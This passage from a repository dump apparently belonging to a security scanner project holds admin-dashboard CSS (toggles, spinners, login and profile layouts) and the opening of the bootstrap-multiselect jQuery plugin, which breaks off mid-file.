scale(1.4);\n  }\n  100% {\n    -webkit-transform: scale(1);\n            transform: scale(1);\n  }\n}\n\n.toggle.lg input[type=\"checkbox\"] + .button-indecator:before {\n  font-size: 30px;\n}\n\n.toggle input[type=\"checkbox\"] {\n  display: none;\n}\n\n.toggle input[type=\"checkbox\"] + .button-indecator {\n  cursor: pointer;\n  display: block;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n}\n\n.toggle input[type=\"checkbox\"] + .button-indecator:before {\n  content: \"\";\n  font-family: \"FontAwesome\";\n  speak: none;\n  font-style: normal;\n  font-weight: normal;\n  font-variant: normal;\n  text-transform: none;\n  line-height: 1;\n  font-size: 25px;\n  -webkit-font-smoothing: antialiased;\n  display: inline-block;\n  margin-right: 5px;\n  vertical-align: -2px;\n}\n\n.toggle input[type=\"checkbox\"]:checked + .button-indecator:before {\n  content: \"\";\n  color: #009688;\n  -webkit-animation: toggleBtn 0.3s ease-in-out;\n          animation: toggleBtn 0.3s ease-in-out;\n}\n\n.toggle input[type=\"checkbox\"]:disabled + .button-indecator {\n  cursor: not-allowed !important;\n}\n\n.toggle input[type=\"checkbox\"]:disabled + .button-indecator:before {\n  color: #ccc;\n}\n\n.toggle-flip input[type=\"checkbox\"] {\n  display: none;\n}\n\n.toggle-flip input[type=\"checkbox\"] + .flip-indecator {\n  position: relative;\n  width: 60px;\n  height: 30px;\n  display: block;\n  cursor: pointer;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  -webkit-perspective: 90px;\n          perspective: 90px;\n}\n\n.toggle-flip input[type=\"checkbox\"] + .flip-indecator:before, .toggle-flip input[type=\"checkbox\"] + .flip-indecator:after {\n  position: absolute;\n  top: 0;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  line-height: 30px;\n  -webkit-backface-visibility: hidden;\n          backface-visibility: hidden;\n  text-align: center;\n  border-radius: 3px;\n  -webkit-transition: all 0.5s ease;\n  -o-transition: all 0.5s ease;\n  transition: all 0.5s ease;\n}\n\n.toggle-flip input[type=\"checkbox\"] + .flip-indecator:before {\n  content: attr(data-toggle-off);\n  background-color: #ddd;\n}\n\n.toggle-flip input[type=\"checkbox\"] + .flip-indecator:after {\n  content: attr(data-toggle-on);\n  background-color: #009688;\n  color: #fff;\n  -webkit-transform: rotateY(-180deg);\n          transform: rotateY(-180deg);\n}\n\n.toggle-flip input[type=\"checkbox\"]:checked + .flip-indecator:before {\n  -webkit-transform: rotateY(180deg);\n          transform: rotateY(180deg);\n}\n\n.toggle-flip input[type=\"checkbox\"]:checked + .flip-indecator:after {\n  -webkit-transform: rotateY(0deg);\n          transform: rotateY(0deg);\n}\n\n.toggle-flip input[type=\"checkbox\"]:disabled + .flip-indecator {\n  cursor: not-allowed !important;\n  color: #ccc;\n}\n\n@-webkit-keyframes toggleBtn {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateX(-1px);\n            transform: translateX(-1px);\n  }\n  100% {\n    opacity: 1;\n    -webkit-transform: translateX(0);\n            transform: translateX(0);\n  }\n}\n\n@keyframes toggleBtn {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateX(-1px);\n            transform: translateX(-1px);\n  }\n  100% {\n    opacity: 1;\n    -webkit-transform: translateX(0);\n            transform: translateX(0);\n  }\n}\n\n.material-half-bg {\n  height: 100vh;\n  background-color: #e7e7e7;\n  position: fixed;\n  top: 0;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  z-index: -1;\n}\n\n.material-half-bg .cover {\n  background-color: #009688;\n  height: 50vh;\n}\n\n.m-loader {\n  position: relative;\n  width: 40px;\n}\n\n.m-loader:before {\n  content: '';\n  display: block;\n  padding-top: 100%;\n}\n\n.m-circular {\n  -webkit-animation: rotate 1.5s linear infinite;\n          animation: rotate 1.5s linear infinite;\n  height: 100%;\n  -webkit-transform-origin: center center;\n      -ms-transform-origin: center center;\n          transform-origin: center center;\n  width: 100%;\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  margin: auto;\n}\n\n.path {\n  stroke-dasharray: 1,200;\n  stroke-dashoffset: 0;\n  stroke: #009688;\n  -webkit-animation: dash 1.5s ease-in-out infinite;\n          animation: dash 1.5s ease-in-out infinite;\n  stroke-linecap: round;\n}\n\n@-webkit-keyframes rotate {\n  100% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg);\n  }\n}\n\n@keyframes rotate {\n  100% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg);\n  }\n}\n\n@-webkit-keyframes dash {\n  0% {\n    stroke-dasharray: 1,200;\n    stroke-dashoffset: 0;\n  }\n  50% {\n    stroke-dasharray: 89,200;\n    stroke-dashoffset: -35px;\n  }\n  100% {\n    stroke-dasharray: 89,200;\n    stroke-dashoffset: -124px;\n  }\n}\n\n@keyframes dash {\n  0% {\n    stroke-dasharray: 1,200;\n    stroke-dashoffset: 0;\n  }\n  50% {\n    stroke-dasharray: 89,200;\n    stroke-dashoffset: -35px;\n  }\n  100% {\n    stroke-dasharray: 89,200;\n    stroke-dashoffset: -124px;\n  }\n}\n\n.btn-spinner {\n  display: inline-block;\n  z-index: 2000;\n  width: 15px;\n  height: 15px;\n  position: relative;\n  top: 2px;\n  margin-right: 5px;\n  border: solid 2px transparent;\n  border-top-color: #fff;\n  border-left-color: #fff;\n  border-radius: 10px;\n  -webkit-animation: bSpinner 0.8s linear infinite;\n          animation: bSpinner 0.8s linear infinite;\n}\n\n@-webkit-keyframes bSpinner {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg);\n  }\n}\n\n@keyframes bSpinner {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(360deg);\n            transform: rotate(360deg);\n  }\n}\n\n.widget-small {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  border-radius: 4px;\n  color: #FFF;\n  margin-bottom: 30px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1);\n}\n\n.widget-small .icon {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  min-width: 85px;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  padding: 20px;\n  background-color: rgba(0, 0, 0, 0.2);\n  border-radius: 4px 0 0 4px;\n  font-size: 2.5rem;\n}\n\n.widget-small .info {\n  -webkit-box-flex: 1;\n      -ms-flex: 1;\n          flex: 1;\n  padding: 0 20px;\n  -ms-flex-item-align: center;\n      align-self: center;\n}\n\n.widget-small .info h4 {\n  text-transform: uppercase;\n  margin: 0;\n  margin-bottom: 5px;\n  font-weight: 400;\n  font-size: 1.1rem;\n}\n\n.widget-small .info p {\n  margin: 0;\n  font-size: 16px;\n}\n\n.widget-small.primary {\n  background-color: #009688;\n}\n\n.widget-small.primary.coloured-icon {\n  background-color: #fff;\n  color: #2a2a2a;\n}\n\n.widget-small.primary.coloured-icon .icon {\n  background-color: #009688;\n  color: #fff;\n}\n\n.widget-small.info {\n  background-color: #17a2b8;\n}\n\n.widget-small.info.coloured-icon {\n  background-color: #fff;\n  color: #2a2a2a;\n}\n\n.widget-small.info.coloured-icon .icon {\n  background-color: #17a2b8;\n  color: #fff;\n}\n\n.widget-small.warning {\n  background-color: #ffc107;\n}\n\n.widget-small.warning.coloured-icon {\n  background-color: #fff;\n  color: #2a2a2a;\n}\n\n.widget-small.warning.coloured-icon .icon {\n  background-color: #ffc107;\n  color: #fff;\n}\n\n.widget-small.danger {\n  background-color: #dc3545;\n}\n\n.widget-small.danger.coloured-icon {\n  background-color: #fff;\n  color: #2a2a2a;\n}\n\n.widget-small.danger.coloured-icon .icon {\n  background-color: #dc3545;\n  color: #fff;\n}\n\n.messanger {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n}\n\n.messanger .messages {\n  -webkit-box-flex: 1;\n      -ms-flex: 1;\n          flex: 1;\n  margin: 10px 0;\n  padding: 0 10px;\n  max-height: 260px;\n  overflow-y: auto;\n  overflow-x: hidden;\n}\n\n.messanger .messages .message {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  margin-bottom: 15px;\n  -webkit-box-align: start;\n      -ms-flex-align: start;\n          align-items: flex-start;\n}\n\n.messanger .messages .message.me {\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: reverse;\n      -ms-flex-direction: row-reverse;\n          flex-direction: row-reverse;\n}\n\n.messanger .messages .message.me img {\n  margin-right: 0;\n  margin-left: 15px;\n}\n\n.messanger .messages .message.me .info {\n  background-color: #009688;\n  color: #FFF;\n}\n\n.messanger .messages .message.me .info:before {\n  display: none;\n}\n\n.messanger .messages .message.me .info:after {\n  position: absolute;\n  right: -13px;\n  top: 0;\n  content: \"\";\n  width: 0;\n  height: 0;\n  border-style: solid;\n  border-width: 0 16px 16px 0;\n  border-color: transparent #009688 transparent transparent;\n  -webkit-transform: rotate(270deg);\n      -ms-transform: rotate(270deg);\n          transform: rotate(270deg);\n}\n\n.messanger .messages .message img {\n  border-radius: 50%;\n  margin-right: 15px;\n}\n\n.messanger .messages .message .info {\n  margin: 0;\n  background-color: #ddd;\n  padding: 5px 10px;\n  border-radius: 3px;\n  position: relative;\n  -ms-flex-item-align: start;\n      align-self: flex-start;\n}\n\n.messanger .messages .message .info:before {\n  position: absolute;\n  left: -14px;\n  top: 0;\n  content: \"\";\n  width: 0;\n  height: 0;\n  border-style: solid;\n  border-width: 0 16px 16px 0;\n  border-color: transparent #ddd transparent transparent;\n}\n\n.messanger .sender {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n.messanger .sender input[type=\"text\"] {\n  -webkit-box-flex: 1;\n      -ms-flex: 1;\n          flex: 1;\n  border: 1px solid #009688;\n  outline: none;\n  padding: 5px 10px;\n}\n\n.messanger .sender button {\n  border-radius: 0;\n}\n\n.login-content {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  min-height: 100vh;\n}\n\n.login-content .logo {\n  margin-bottom: 40px;\n  font-family: \"Niconne\";\n  color: #fff;\n}\n\n.login-content .logo h1 {\n  font-size: 52px;\n  font-weight: 400;\n}\n\n.login-content .login-box {\n  position: relative;\n  min-width: 350px;\n  min-height: 390px;\n  background-color: #fff;\n  -webkit-box-shadow: 0px 29px 147.5px 102.5px rgba(0, 0, 0, 0.05), 0px 29px 95px 0px rgba(0, 0, 0, 0.16);\n          box-shadow: 0px 29px 147.5px 102.5px rgba(0, 0, 0, 0.05), 0px 29px 95px 0px rgba(0, 0, 0, 0.16);\n  -webkit-perspective: 800px;\n          perspective: 800px;\n  -webkit-transition: all 0.5s ease-in-out;\n  -o-transition: all 0.5s ease-in-out;\n  transition: all 0.5s ease-in-out;\n}\n\n.login-content .login-box .login-head {\n  margin-top: 0;\n  margin-bottom: 20px;\n  padding-bottom: 20px;\n  border-bottom: 1px solid #ddd;\n  text-align: center;\n}\n\n.login-content .login-box label {\n  color: #666;\n  font-weight: 700;\n}\n\n.login-content .login-box .utility {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  padding: 1px;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n}\n\n.login-content .login-box .btn-container {\n  margin-bottom: 0;\n}\n\n.login-content .login-box .login-form, .login-content .login-box .forget-form {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  padding: 40px;\n  backface-visibility: hidden;\n  -webkit-backface-visibility: hidden;\n  -webkit-transition: all 0.5s ease-in-out;\n  -o-transition: all 0.5s ease-in-out;\n  transition: all 0.5s ease-in-out;\n}\n\n.login-content .login-box .forget-form {\n  opacity: 0;\n  -webkit-transform: rotateY(180deg);\n          transform: rotateY(180deg);\n}\n\n.login-content .login-box.flipped {\n  min-height: 300px;\n}\n\n.login-content .login-box.flipped .login-form {\n  opacity: 0;\n  -webkit-transform: rotateY(-180deg);\n          transform: rotateY(-180deg);\n}\n\n.login-content .login-box.flipped .forget-form {\n  opacity: 1;\n  -webkit-transform: rotateY(0deg);\n          transform: rotateY(0deg);\n}\n\n@media (max-width: 351px) {\n  .login-content .login-box {\n    min-width: 100%;\n  }\n  .login-content .login-box .login-form, .login-content .login-box .forget-form {\n    width: 100%;\n  }\n}\n\n.lockscreen-content {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  min-height: 100vh;\n}\n\n.lockscreen-content .logo {\n  font-family: \"Niconne\";\n  margin-bottom: 40px;\n  color: #fff;\n}\n\n.lockscreen-content .logo h1 {\n  font-size: 52px;\n  font-weight: 400;\n}\n\n.lockscreen-content .lock-box {\n  position: relative;\n  min-width: 320px;\n  padding: 20px 40px;\n  background-color: #fff;\n  -webkit-box-shadow: 0px 29px 147.5px 102.5px rgba(0, 0, 0, 0.05), 0px 29px 95px 0px rgba(0, 0, 0, 0.16);\n          box-shadow: 0px 29px 147.5px 102.5px rgba(0, 0, 0, 0.05), 0px 29px 95px 0px rgba(0, 0, 0, 0.16);\n  -webkit-perspective: 800px;\n          perspective: 800px;\n  -webkit-transition: all 0.5s ease-in-out;\n  -o-transition: all 0.5s ease-in-out;\n  transition: all 0.5s ease-in-out;\n}\n\n.lockscreen-content .lock-box .user-image {\n  border: 3px solid #fff;\n  max-width: 100px;\n  display: block;\n  margin: 0 auto;\n}\n\n.lockscreen-content .lock-box .user-name {\n  margin-bottom: 2px;\n}\n\n.lockscreen-content .lock-box label {\n  color: #666;\n  font-weight: 700;\n}\n\n.page-error {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  min-height: calc(100vh - 110px);\n  margin-bottom: 0;\n}\n\n.page-error h1 {\n  margin: 10px;\n  color: #dc3545;\n  font-size: 42px;\n}\n\n.folder-head {\n  padding: 10px;\n  margin-bottom: 0 !important;\n  border-bottom: 1px solid #ddd;\n}\n\n.mailbox-controls {\n  margin-bottom: 10px;\n  border-bottom: 1px solid #ddd;\n  padding: 0 0 10px 5px;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n}\n\n.mailbox-controls .animated-checkbox .label-text:before {\n  vertical-align: -7px !important;\n}\n\n.mail-nav > li > a {\n  display: block;\n  background-color: #fff;\n  color: #2a2a2a;\n  border-radius: 0;\n  font-weight: 500;\n}\n\n.mailbox-messages table tr td {\n  border: 0;\n  padding: 5px;\n}\n\n.mailbox-messages .mail-subject {\n  overflow: hidden;\n  -o-text-overflow: ellipsis;\n     text-overflow: ellipsis;\n  white-space: nowrap;\n  max-width: 500px;\n}\n\n.user .profile {\n  margin: -30px -30px 0 -30px;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n.user .profile .info {\n  padding: 30px 60px;\n  text-align: center;\n  background-color: #fff;\n  white-space: nowrap;\n  background-color: #404040;\n  color: #fff;\n}\n\n.user .profile .info img {\n  border-radius: 50%;\n  max-width: 110px;\n  margin-bottom: 20px;\n  margin-top: 10px;\n}\n\n.user .profile .cover-image {\n  -webkit-box-flex: 1;\n      -ms-flex: 1;\n          flex: 1;\n  background-image: url(http://placeimg.com/1200/300/nature);\n  background-size: cover;\n  background-position: center;\n  min-height: 300px;\n}\n\n.user .user-tabs {\n  margin-top: 20px;\n}\n\n.user .user-tabs .nav-link {\n  border-left: 3px solid transparent;\n  padding: 12px 15px;\n  border-bottom: 0;\n  font-size: 15px;\n  border-radius: 0;\n}\n\n.user .user-tabs .nav-link.active {\n  border-left-color: #009688;\n  border-bottom: 0;\n}\n\n.user .user-tabs .nav-link:hover, .user .user-tabs .nav-link:active {\n  background-color: #eee !important;\n  border-bottom: 0;\n}\n\n.user .tab-content {\n  margin: 20px -10px -10px;\n}\n\n.user .timeline-post {\n  background-color: #fff;\n  padding: 20px;\n  margin-bottom: 20px;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);\n          box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);\n}\n\n.user .timeline-post .post-media {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: start;\n      -ms-flex-align: start;\n          align-items: flex-start;\n  margin-bottom: 15px;\n}\n\n.user .timeline-post .post-media img {\n  margin-right: 10px;\n}\n\n.user .timeline-post .post-media h5 {\n  margin-top: 0;\n  margin-bottom: 3px;\n  font-size: 15px;\n}\n\n.user .timeline-post .post-content {\n  margin-bottom: 20px;\n}\n\n.user .timeline-post .post-utility {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  list-style: none;\n  padding-left: 0;\n  margin-bottom: 0;\n}\n\n.user .timeline-post .post-utility .likes,\n.user .timeline-post .post-utility .shares {\n  margin-right: 10px;\n}\n\n.user .timeline-post .post-utility .likes a,\n.user .timeline-post .post-utility .shares a {\n  color: #555;\n}\n\n.user .timeline-post .post-utility .comments {\n  color: #555;\n  -webkit-box-flex: 1;\n      -ms-flex: 1;\n          flex: 1;\n  text-align: right;\n}\n\n.user .user-settings .line-head {\n  font-size: 18px;\n  margin-bottom: 30px;\n  color: #2a2a2a;\n}\n\n.user .user-settings label {\n  color: #666;\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/download/test",
    "content": ""
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap-multiselect.js",
    "content": "/**\n * Bootstrap Multiselect (https://github.com/davidstutz/bootstrap-multiselect)\n * \n * Apache License, Version 2.0:\n * Copyright (c) 2012 - 2015 David Stutz\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a\n * copy of the License at http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations\n * under the License.\n * \n * BSD 3-Clause License:\n * Copyright (c) 2012 - 2015 David Stutz\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *    - Redistributions of source code must retain the above copyright notice,\n *      this list of conditions and the following disclaimer.\n *    - Redistributions in binary form must reproduce the above copyright notice,\n *      this list of conditions and the following disclaimer in the documentation\n *      and/or other materials provided with the distribution.\n *    - Neither the name of David Stutz nor the names of its contributors may be\n *      used to endorse or promote products derived from this software without\n *      specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n!function ($) {\n    \"use strict\";// jshint ;_;\n\n    if (typeof ko !== 'undefined' && ko.bindingHandlers && !ko.bindingHandlers.multiselect) {\n        ko.bindingHandlers.multiselect = {\n            after: ['options', 'value', 'selectedOptions'],\n\n            init: function(element, valueAccessor, allBindings, viewModel, bindingContext) {\n                var $element = $(element);\n                var config = ko.toJS(valueAccessor());\n\n                $element.multiselect(config);\n\n                if (allBindings.has('options')) {\n                    var options = allBindings.get('options');\n                    if (ko.isObservable(options)) {\n                        ko.computed({\n                            read: function() {\n                                options();\n                                setTimeout(function() {\n                                    var ms = $element.data('multiselect');\n                                    if (ms)\n                                        ms.updateOriginalOptions();//Not sure how beneficial this is.\n                                    $element.multiselect('rebuild');\n                                }, 1);\n                            },\n                            disposeWhenNodeIsRemoved: element\n                        });\n                    }\n                }\n\n                //value and selectedOptions are two-way, so these will be triggered even by our own actions.\n                //It needs some way to tell if they are triggered because of us or because of outside change.\n                //It doesn't loop but it's a waste of processing.\n                if (allBindings.has('value')) {\n                    var value = allBindings.get('value');\n                    if (ko.isObservable(value)) {\n                        ko.computed({\n                            read: function() {\n                                value();\n                                setTimeout(function() {\n                                    $element.multiselect('refresh');\n                                }, 1);\n                            },\n                            disposeWhenNodeIsRemoved: element\n                        }).extend({ rateLimit: 100, notifyWhenChangesStop: true });\n                    }\n                }\n\n                //Switched from arrayChange subscription to general subscription using 'refresh'.\n                //Not sure performance is any better using 'select' and 'deselect'.\n                if (allBindings.has('selectedOptions')) {\n                    var selectedOptions = allBindings.get('selectedOptions');\n                    if (ko.isObservable(selectedOptions)) {\n                        ko.computed({\n                            read: function() {\n                                selectedOptions();\n                                setTimeout(function() {\n                                    $element.multiselect('refresh');\n                                }, 1);\n                            },\n                            disposeWhenNodeIsRemoved: element\n                        }).extend({ rateLimit: 100, notifyWhenChangesStop: true });\n                    }\n                }\n\n                ko.utils.domNodeDisposal.addDisposeCallback(element, function() {\n                    $element.multiselect('destroy');\n                });\n            },\n\n            update: function(element, valueAccessor, allBindings, viewModel, bindingContext) {\n                var $element = $(element);\n                var config = ko.toJS(valueAccessor());\n\n                $element.multiselect('setOptions', config);\n                $element.multiselect('rebuild');\n            }\n        };\n    }\n\n    function forEach(array, callback) {\n        for (var index = 0; index < array.length; ++index) {\n            callback(array[index], index);\n        }\n    }\n\n    /**\n     * Constructor to create a new multiselect using the given select.\n     *\n     * @param {jQuery} select\n     * @param {Object} options\n     * @returns {Multiselect}\n     */\n    function Multiselect(select, options) {\n\n        this.$select = $(select);\n        \n        // Placeholder via data attributes\n        if (this.$select.attr(\"data-placeholder\")) {\n            options.nonSelectedText = this.$select.data(\"placeholder\");\n        }\n        \n        this.options = this.mergeOptions($.extend({}, options, this.$select.data()));\n\n        // Initialization.\n        // We have to clone to create a new reference.\n        this.originalOptions = this.$select.clone()[0].options;\n        this.query = '';\n        this.searchTimeout = null;\n        this.lastToggledInput = null\n\n        this.options.multiple = this.$select.attr('multiple') === \"multiple\";\n        this.options.onChange = $.proxy(this.options.onChange, this);\n        this.options.onDropdownShow = $.proxy(this.options.onDropdownShow, this);\n        this.options.onDropdownHide = $.proxy(this.options.onDropdownHide, this);\n        this.options.onDropdownShown = $.proxy(this.options.onDropdownShown, this);\n        this.options.onDropdownHidden = $.proxy(this.options.onDropdownHidden, this);\n        \n        // Build select all if enabled.\n        this.buildContainer();\n        this.buildButton();\n        this.buildDropdown();\n        this.buildSelectAll();\n        this.buildDropdownOptions();\n        this.buildFilter();\n\n        this.updateButtonText();\n        this.updateSelectAll();\n\n        if (this.options.disableIfEmpty && $('option', this.$select).length <= 0) {\n            this.disable();\n        }\n        \n        this.$select.hide().after(this.$container);\n    };\n\n    Multiselect.prototype = {\n\n        defaults: {\n            /**\n             * Default text function will either print 'None selected' in case no\n             * option is selected or a list of the selected options up to a length\n             * of 3 selected options.\n             * \n             * @param {jQuery} options\n             * @param {jQuery} select\n             * @returns {String}\n             */\n            buttonText: function(options, select) {\n                if (options.length === 0) {\n                    return this.nonSelectedText;\n                }\n                else if (this.allSelectedText \n                            && options.length === $('option', $(select)).length \n                            && $('option', $(select)).length !== 1 \n                            && this.multiple) {\n\n                    if (this.selectAllNumber) {\n                        return this.allSelectedText + ' (' + options.length + ')';\n                    }\n                    else {\n                        return this.allSelectedText;\n                    }\n                }\n                else if (options.length > this.numberDisplayed) {\n                    return options.length + ' ' + this.nSelectedText;\n                }\n                else {\n                    var selected = '';\n                    var delimiter = this.delimiterText;\n                    \n                    options.each(function() {\n                        var label = ($(this).attr('label') !== undefined) ? $(this).attr('label') : $(this).text();\n                        selected += label + delimiter;\n                    });\n                    \n                    return selected.substr(0, selected.length - 2);\n                }\n            },\n            /**\n             * Updates the title of the button similar to the buttonText function.\n             * \n             * @param {jQuery} options\n             * @param {jQuery} select\n             * @returns {@exp;selected@call;substr}\n             */\n            buttonTitle: function(options, select) {\n                if (options.length === 0) {\n                    return this.nonSelectedText;\n                }\n                else {\n                    var selected = '';\n                    var delimiter = this.delimiterText;\n                    \n                    options.each(function () {\n                        var label = ($(this).attr('label') !== undefined) ? $(this).attr('label') : $(this).text();\n                        selected += label + delimiter;\n                    });\n                    return selected.substr(0, selected.length - 2);\n                }\n            },\n            /**\n             * Create a label.\n             *\n             * @param {jQuery} element\n             * @returns {String}\n             */\n            optionLabel: function(element){\n                return $(element).attr('label') || $(element).text();\n            },\n            /**\n             * Triggered on change of the multiselect.\n             * \n             * Not triggered when selecting/deselecting options manually.\n             * \n             * @param {jQuery} option\n             * @param {Boolean} checked\n             */\n            onChange : function(option, checked) {\n\n            },\n            /**\n             * Triggered when the dropdown is shown.\n             *\n             * @param {jQuery} event\n             */\n            onDropdownShow: function(event) {\n\n            },\n            /**\n             * Triggered when the dropdown is hidden.\n             *\n             * @param {jQuery} event\n             */\n            onDropdownHide: function(event) {\n\n            },\n            /**\n             * Triggered after the dropdown is shown.\n             * \n             * @param {jQuery} event\n             */\n            onDropdownShown: function(event) {\n                \n            },\n            /**\n             * Triggered after the dropdown is hidden.\n             * \n             * @param {jQuery} event\n             */\n            onDropdownHidden: function(event) {\n                \n            },\n            /**\n             * Triggered on select all.\n             */\n            onSelectAll: function() {\n                \n            },\n            enableHTML: false,\n            buttonClass: 'btn btn-default',\n            inheritClass: false,\n            buttonWidth: 'auto',\n            buttonContainer: '<div class=\"btn-group\" />',\n            dropRight: false,\n            selectedClass: 'active',\n            // Maximum height of the dropdown menu.\n            // If maximum height is exceeded a scrollbar will be displayed.\n            maxHeight: false,\n            checkboxName: false,\n            includeSelectAllOption: false,\n            includeSelectAllIfMoreThan: 0,\n            selectAllText: ' Select all',\n            selectAllValue: 'multiselect-all',\n            selectAllName: false,\n            selectAllNumber: true,\n            enableFiltering: false,\n            enableCaseInsensitiveFiltering: false,\n            enableClickableOptGroups: false,\n            filterPlaceholder: 'Search',\n            // possible options: 'text', 'value', 'both'\n            filterBehavior: 'text',\n            includeFilterClearBtn: true,\n            preventInputChangeEvent: false,\n            nonSelectedText: 'None selected',\n            nSelectedText: 'selected',\n            allSelectedText: 'All selected',\n            numberDisplayed: 3,\n            disableIfEmpty: false,\n            delimiterText: ', ',\n            templates: {\n                button: '<button type=\"button\" class=\"multiselect dropdown-toggle\" data-toggle=\"dropdown\"><span class=\"multiselect-selected-text\"></span> <b class=\"caret\"></b></button>',\n                ul: '<ul class=\"multiselect-container dropdown-menu\"></ul>',\n                filter: '<li class=\"multiselect-item filter\"><div class=\"input-group\"><span class=\"input-group-addon\"><i class=\"glyphicon glyphicon-search\"></i></span><input class=\"form-control multiselect-search\" type=\"text\"></div></li>',\n                filterClearBtn: '<span class=\"input-group-btn\"><button class=\"btn btn-default multiselect-clear-filter\" type=\"button\"><i class=\"glyphicon glyphicon-remove-circle\"></i></button></span>',\n                li: '<li><a tabindex=\"0\"><label></label></a></li>',\n                divider: '<li class=\"multiselect-item divider\"></li>',\n                liGroup: '<li class=\"multiselect-item multiselect-group\"><label></label></li>'\n            }\n        },\n\n        constructor: Multiselect,\n\n        /**\n         * Builds the container of the multiselect.\n         */\n        buildContainer: function() {\n            this.$container = $(this.options.buttonContainer);\n            this.$container.on('show.bs.dropdown', this.options.onDropdownShow);\n            this.$container.on('hide.bs.dropdown', this.options.onDropdownHide);\n            this.$container.on('shown.bs.dropdown', this.options.onDropdownShown);\n            this.$container.on('hidden.bs.dropdown', this.options.onDropdownHidden);\n        },\n\n        /**\n         * Builds the button of the multiselect.\n         